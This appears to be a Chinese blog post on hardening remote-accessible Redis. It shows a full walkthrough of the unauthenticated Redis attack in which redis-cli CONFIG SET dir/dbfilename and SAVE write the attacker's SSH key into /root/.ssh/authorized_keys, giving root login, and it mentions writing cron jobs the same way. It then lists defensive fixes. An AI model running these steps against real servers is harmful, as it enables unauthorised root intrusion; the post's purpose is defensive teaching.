zoukankan      html  css  js  c++  java
  • redis支持远程接入的安全防护问题

      如果我们没有启用保护模式,支持远程接入,启用默认端口6379,而且是用root用户启动的,那么基本上redis就是在裸奔了,人家分分钟搞你没商量。

      我们模拟一下,现在机器A(ip假设为10.100.110.11)已经有只redis在裸奔,我们从机器B搞它。先让机器B生成它自己的公钥:

    [root@centos ~]# cd .ssh
    [root@centos .ssh]# ssh-keygen -t rsa
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): 
    /root/.ssh/id_rsa already exists.
    Overwrite (y/n)? y
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in /root/.ssh/id_rsa.
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    The key fingerprint is:
    b0:cd:4f:68:4d:8f:8e:57:b9:39:cb:3a:79:c3:c6:54 root@centos
    The key's randomart image is:
    +--[ RSA 2048]----+
    |                 |
    |                 |
    |      .   .      |
    |       = + o .E  |
    |      . S + +.   |
    |       . = ..o   |
    |        . +=+    |
    |         .o.*o   |
    |          .=o.   |
    +-----------------+
    [root@centos .ssh]# ll
    total 12
    -rw-------  1 root root 1675 Nov  5 15:56 id_rsa
    -rw-r--r--  1 root root  406 Nov  5 15:56 id_rsa.pub
    -rw-r--r--. 1 root root 2630 Jul 12 15:12 known_hosts

      解释下,因为之前机器B已经生成过公钥,所以上面有一个是否覆盖的提示。接下来我们把公钥单独放到一个文件pub.txt:

    [root@centos .ssh]# (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > pub.txt
    [root@centos .ssh]# cat pub.txt
    
    
    
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkbWGbHmhXxXYVYBjkycTkNPOMtrK+7JB3wA6/kkBeB0y35aFCsSB+S5QACMyTiTwEymAqtdMYP0qDNVapPKGYPg6hru2OUYD3jovDiCj8HIdXHq3TL/MetLTbgtPae1883hDtAgb0/TxTlwe93n69j/5FqOgbhVCCdvZv6DcdnMDqYXGiLVQiwvIKXGHRROzHpFNamWsCwzu2S7oo3ES1CF/w9wTs9AHZL6Br+Di/E/ehavS7G2VJckjTtyeyB3TXrXYLPEGw8YlhUO2xkF5CF14fB32QLVQbNOZaDXwK44/AGwsJdlyhjnd3a6OhS5zIQat7qHj+kq/IgzZX1Ykr root@centos

      再解释下,因为该pub.txt文件是要作为字符串类型的redis缓存value,所以前后我们加入空格符。

      进入机器B的redis目录(无需启动机器B的redis),使用redis客户端命令向写入机器A的redis缓存:

    [root@centos redis-4.0.14]# cat /root/.ssh/pub.txt | src/redis-cli -h 10.100.110.10 -x set pub
    OK

      解释下,这里默认端口6379无需写上。连接机器A的redis,改写它的持久化备份文件所在目录和文件名:

    [root@centos redis-4.0.14]# src/redis-cli -h 10.100.110.11
    10.100.110.11:6379> config set dir /root/.ssh
    OK
    10.100.110.11:6379> config set dbfilename authorized_keys
    OK
    10.100.110.11:6379> save
    OK

      这时到机器A看看,免密登陆文件authorized_keys已经生成:

    [root@centos1 .ssh]# ll
    total 8
    -rw-r-----  1 root root 411 Nov  5 17:05 authorized_keys
    -rw-r--r--. 1 root root 870 Mar 30  2017 known_hosts

      内容就是机器B的公钥,所以机器B可以直接ssh 10.100.110.11登陆到机器A了。

      其他的用法同上面原理,简而言之,都是利用RDB持久化文件写入文件(可以是免密登陆authorized_keys,也可以是定时任务等)到指定目录下(如/root/.ssh或者/var/spool/cron)。都是由config命令来搞,dir命令设置写入的目录,dbfilename命令设置写入的文件名,通过设置key和value来设置写入内容,最后通过save将内容保存到文件中。

       从上面被搞的过程可以发现有以下漏洞和规避方式:

      1、用root用户执行redis——用普通用户

      2、使用6379默认端口——改端口号

      3、允许远程接入——redis.conf把bind 127.0.0.1注释去掉,只允许本机接入,不过集群的话这样明显不行

      4、没有密码,裸奔——添加密码,redis.conf去掉# requirepass foobared这样的注释#,配置你自己的密码,最好不容易破解的

      5、config命令的使用——禁用config命令(rename-command CONFIG ""),或者改个名字(rename-command CONFIG hello

      另外的还有设置防火墙规则、禁止修改.ssh目录和authorized_keys文件等。

  • 相关阅读:
    牛牛的揠苗助长(二分)
    树型DP简单入门
    Rational Ratio(一道思维题)
    Tima goes to Xentopia(条件最短路)
    中国剩余定理
    求解逆元的三种方法
    samba 基本配置及自定义控制
    vue之虚拟DOM、diff算法
    vue-cli3构建ts项目
    VMware+node+nginx+vue
  • 原文地址:https://www.cnblogs.com/wuxun1997/p/11799799.html
Copyright © 2011-2022 走看看